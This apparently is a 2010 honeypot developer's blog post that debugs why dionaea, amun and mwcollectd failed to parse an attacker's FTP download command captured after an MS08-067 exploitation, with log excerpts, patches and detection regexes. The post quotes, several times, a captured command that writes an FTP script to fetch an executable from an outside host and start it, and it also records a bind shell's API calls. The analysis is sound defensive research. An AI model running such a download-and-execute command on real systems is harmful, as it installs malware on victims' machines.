a missed file

Looking at my dionaea readlogsql logs for the last 24h I spotted this:

2010-10-02 08:57:48
  connection 479687 smbd tcp accept 10.146.168.210:445 <- 10.168.211.184:42210 (479687 None)
   dcerpc bind: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '7d705026-884d-af82-7b3d-961deaeb179a' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '7f4fdfe9-2be7-4d6b-a5d4-aa3c831503a1' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '8b52c8fd-cc85-3a74-8b15-29e030cdac16' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '9acbde5b-25e1-7283-1f10-a3a292e73676' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '9f7e2197-9e40-bec9-d7eb-a4b0f137fe95' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'a71e0ebe-6154-e021-9104-5ae423e682d0' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'b3332384-081f-0e95-2c4a-302cc3080783' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'c0cdf474-2d09-f37f-beb8-73350c065268' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'd89a50ad-b919-f35c-1c99-4153ad1e6075' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'ea256ce5-8ae1-c21b-4a17-568829eec306' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc request: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) opnum 31 (NetPathCanonicalize (MS08-67))
   profile: [{'return': '0x71a10000', 'args': ['ws2_32'], 'call': 'LoadLibraryA'}, {'return': '0', 'args': ['2', '1244280'], 'call': 'WSAStartup'}, {'return': '66', 'args': ['2', '1', '0', '0', '0', '0'], 'call': 'WSASocket'}, {'return': '0', 'args': ['66', {'sin_port': '1130', 'sin_addr': {'s_addr': '0.0.0.0'}, 'sin_zero': '       ', 'sin_family': '2'}, '16'], 'call': 'bind'}, {'return': '0', 'args': ['66', '2'], 'call': 'listen'}, {'return': '68', 'args': ['66', {}, ''], 'call': 'accept'}, {'return': '0', 'args': ['66'], 'call': 'closesocket'}, {'return': '-1', 'args': ['', 'cmd', '', '', '1', '0', '', '', {'dwXCountChars': '0', 'hStdInput': '68', 'wShowWindow': '0', 'dwYSize': '0', 'lpReserved2': '0', 'cbReserved2': '0', 'cb': '0', 'dwX': '0', 'dwY': '0', 'hStdOutput': '68', 'lpDesktop': '0', 'hStdError': '68', 'dwFlags': '0', 'dwYCountChars': '0', 'lpReserved': '0', 'lpTitle': '0', 'dwXSize': '0', 'dwFillAttribute': '0'}, {'dwProcessId': '4712', 'hThread': '4712', 'dwThreadId': '4714', 'hProcess': '4711'}], 'call': 'CreateProcess'}, {'return': '0', 'args': ['4712', '-1'], 'call': 'WaitForSingleObject'}, {'return': '0', 'args': ['68'], 'call': 'closesocket'}, {'return': '0', 'args': ['2088763392'], 'call': 'ExitThread'}]
   service: bindshell://1130
    connection 479689 remoteshell tcp listen 10.152.73.113:1130 (479687 479687)
      connection 479690 remoteshell tcp accept 10.152.73.113:1130 <- 10.182.132.14:42224 (479687 479689)

A proper exploitation, a proper remote shell, but for whatever reason there was no offer …

So, I looked up the data from the shell session for 10.152.73.113:1130 ← 10.182.132.14:42224.

[02102010 08:57:52] cmd dionaea/cmd.py:52-debug: DATA: b'echo open 10.232.44.205 33542 >> asr_ltjhy &echo user ltjhyh ltjhyh >> asr_ltjhy &echo get asr_77034.exe >> asr_ltjhy &echo quit >> asr_ltjhy &ftp -nv -s:asr_ltjhy &start asr_77034.exe\r\n'

It looked valid, and I was wondering why dionaea failed to detect the offer and download the file.
So, I decided to reproduce the failure using the cli in dionaea:

from dionaea.cmd import *
c = cmdexe(None)
c.handle_io_in(b'echo open 10.232.44.205 33542 >> asr_ltjhy &echo user ltjhyh ltjhyh >> asr_ltjhy &echo get asr_77034.exe >> asr_ltjhy &echo quit >> asr_ltjhy &ftp -nv -s:asr_ltjhy &start asr_77034.exe\r\n')

The result was, as expected a failure resulting in a bad url (ftp://quit:guest@10.253.98.99:33542//):

DATA: b'ftp -nv -s:asr_ltjhy &start asr_77034.exe\r\n'

file asr_ltjhy = open 10.232.44.205 33542
user ltjhyh ltjhyh
get asr_77034.exe
quit

LINE: b'ftp -nv -s:asr_ltjhy '
CMD: ftp ['-nv', '-s:asr_ltjhy'] None

FTP PARSER STATE NEXT_IS_SOMETHING
FTP CMD LINE: open 10.232.44.205 33542
FTP CMD ARGS: ['open', '10.232.44.205', '33542']

FTP PARSER STATE NEXT_IS_USER
FTP CMD LINE: user ltjhyh ltjhyh
FTP CMD ARGS: ['user', 'ltjhyh', 'ltjhyh']

FTP PARSER STATE NEXT_IS_USER
FTP CMD LINE: get asr_77034.exe
FTP CMD ARGS: ['get', 'asr_77034.exe']

FTP PARSER STATE NEXT_IS_USER
FTP CMD LINE: quit
FTP CMD ARGS: ['quit']

FTP PARSER STATE NEXT_IS_PASS
FTP CMD LINE: 

URL result: ftp://quit:guest@10.253.98.99:33542//

DATA: b'start asr_77034.exe\r\n'
LINE: b'start asr_77034.exe\r'
CMD: start ['asr_77034.exe'] None
DATA: b''
LINE: b''
CMD: None [] None

For whatever reason the parser decided to get stuck in the NEXT_IS_USER state after getting the remote host passed properly, where it should be NEXT_IS_SOMETHING.

The ftp.exe client takes the n argument, to Suppresses auto-login upon initial connection.

I figured it had to do something with missing the n argument, even though it was passed properly:

ftp -nv

Looking on the code, I noticed dionaea did not support parsing combined arguments, such as -vn. After adding the required code to parse combined arguments, the offer was detected successfully,

[29092010 23:52:22] incident incident.c:185: incident 0x1008c20 dionaea.download.offer
[29092010 23:52:22] incident incident.c:203: 	url: (string) ftp://buyotn:buyotn@10.146.220.146:33542/asr_88077.exe

but the download still failed, looking on the data on the wire indicated a 503 ftp error

> 220
< USER ltjhyh
> 331
< PASS ltjhyh
> 230
< TYPE I
> 503

I figured this had something to do with the previous command, “TYPE I”, as the attacker did not sent the “binary” command to which causes the “TYPE I” to be sent.

As the code to download files via ftp already supported binary and non-binary downloads, I extended the ftp command parser by the binary command and added the “ftpmode” member to the incident which triggers the ftp download.

incident 0x2119e30 dionaea.download.offer
	url: (string) ftp://ltjhyh:ltjhyh@10.253.98.99:33542/asr_77034.exe
	ftpmode: (string) 

the empty ftpmode string indicates the mode is not binary

Afterwards the ftp client was taught to honor the new knowledge about the ftpmode from the incident, so we would not sent a TYPE I command to the server and not sent him to 503 limbo.

> 220
< USER ltjhyh
> 331
< PASS ltjhyh
> 230
< PORT 10,146,168,210,244,130
> 200
< RETR /asr_77034.exe
> 150
> 226
< QUIT
> 221

And it finally worked as intended.

incident 0x2119e30 dionaea.download.complete.hash
	file: (string) var/dionaea/binaries/83f6cb959d9f92738f29ddf5d397fac7
	md5hash: (string) 83f6cb959d9f92738f29ddf5d397fac7
	url: (string) ftp://ltjhyh:ltjhyh@10.253.98.99:33542/asr_77034.exe

Here is the file at virustotal.

others

As I've had issues with ftp downloads before … I had look how other honeypots deal with this commandline …

amun

For amun, I copied the pcre patterns used by amun to match for ftp commands,

import re
decodersDict = {}
decodersDict['ftpcmd'] = re.compile('.*cmd /[c|k].*echo open ([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|[a-z0-9\.]*) ([0-9]+).*[>|>>]\s*.+&echo user (.*?) (.*?) >>.*&echo get (.*?) >>.*', re.S|re.I)
decodersDict['ftpcmd2'] = re.compile('.*echo open ([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|[a-z0-9\.]+).([0-9]+)?>>.*?echo (.*?)>>.*?echo (.*?)>>.*?(.*?get (.*?)>>).*?(.*?get (.*?)>>)?.*?(.*?get (.*?)>>)?', re.S|re.I)
decodersDict['ftpcmd3ip'] = re.compile('open\s*([@a-zA-Z0-9\-\/\\\.\+:]+)\s*([0-9]+)?.*', re.S|re.I)
decodersDict['ftpcmd3userpass'] = re.compile('>.*?&echo user (.*?) (.*?)>>|>>.*?&echo (.*?)>>.*?&echo (.*?)&|.*?@echo (.*?)>>.*?@echo (.*?)>>|>.*?echo (.*?)>>.*?echo (.*?)>>', re.S|re.I)
decodersDict['ftpcmd3binary'] = re.compile('echo m?get (.*?)>>', re.S|re.I)

and ran everything in a plain python2 interpreter:

input = 'echo open 10.232.44.205 33542 >> asr_ltjhy &echo user ltjhyh ltjhyh >> asr_ltjhy &echo get asr_77034.exe >> asr_ltjhy &echo quit >> asr_ltjhy &ftp -nv -s:asr_ltjhy &start asr_77034.exe\r\n'
for i in decodersDict:
	x = decodersDict[i].match(input)
	print("%s %s" % (i,x))

There was no match, so amun would not detect the command properly too:

ftpcmd3userpass None
ftpcmd2 None
ftpcmd None
ftpcmd3ip None
ftpcmd3binary None

mwcollectd

mwcollectd was not as easy as amun, so I copied the cmd.py file, and modified it, to be able to import it into dionaeas python3:

#from mwcollectd import *
 
def dispatchEvent(a,b):
	print("{} {}".format(a,b))
 
L_SPAM=0
 
def log(a,b):
	print("{}".format(b))

my changes to the file

import mwcmd
c = dionaea.mwcmd.ShellcodeProcessHandler(None,{'commandline':b'echo open 10.232.44.205 33542 >> asr_ltjhy &echo user ltjhyh ltjhyh >> asr_ltjhy &echo get asr_77034.exe >> asr_ltjhy &echo quit >> asr_ltjhy &ftp -nv -s:asr_ltjhy &start asr_77034.exe\r\n','recorder':None})

it failed with

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/opt/dionaea/lib/dionaea/python/dionaea/mwcmd.py", line 16, in __init__
    self.parse( event['commandline'].decode('latin1'), event['recorder'] )
  File "/opt/dionaea/lib/dionaea/python/dionaea/mwcmd.py", line 72, in parse
    return self.emulate(parsed_commands, recorder)
  File "/opt/dionaea/lib/dionaea/python/dionaea/mwcmd.py", line 92, in emulate
    self.vfiles[command[-1]] = line + '\n'
KeyError: 'asr_ltjhy'

I figured this code segment

				for word in command[1:]:
					if word == '>':
						self.vfiles[command[-1]] = line + '\n'
					elif word == '>>':
						self.vfiles[command[-1]] += line + '\n'
					else:
						if line != '':
							line += ' '

missed to create a vfile if the redirect operator was », so I added

				for word in command[1:]:
+					if command[-1] not in self.vfiles:
+						self.vfiles[command[-1]] = ''
					if word == '>':
						self.vfiles[command[-1]] = line + '\n'

and, it parsed the command correctly:

FTP Download via shell: ftp://ltjhyh:ltjhyh@10.232.44.205:33542/asr_77034.exe

but it did not dispatch an Event, so it would not trigger a download to the file.

Having a look on the code, I figured mwcollectd would never even try to download files via ftp, it would just report the url in the logs.

url = 'ftp://%s:%s@%s:%i/%s' % (user, passwd, host, port, filename)
log(L_SPAM, 'FTP Download via shell: ' + url)

need for a testsuite?

I was surprised none of amun/dionaea/mwcollectd was able to deal with this rather simple command properly, for mwcollectd I was even more surprised, as it always discarded all properly decteded ftp downloads.

Obviously a testsuite with shell commands would be handy.

Comments



2010/10/02/a_missed_file.txt · Last modified: 2010/10/02 14:24 by common
chimeric.de = chi`s home Creative Commons License Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0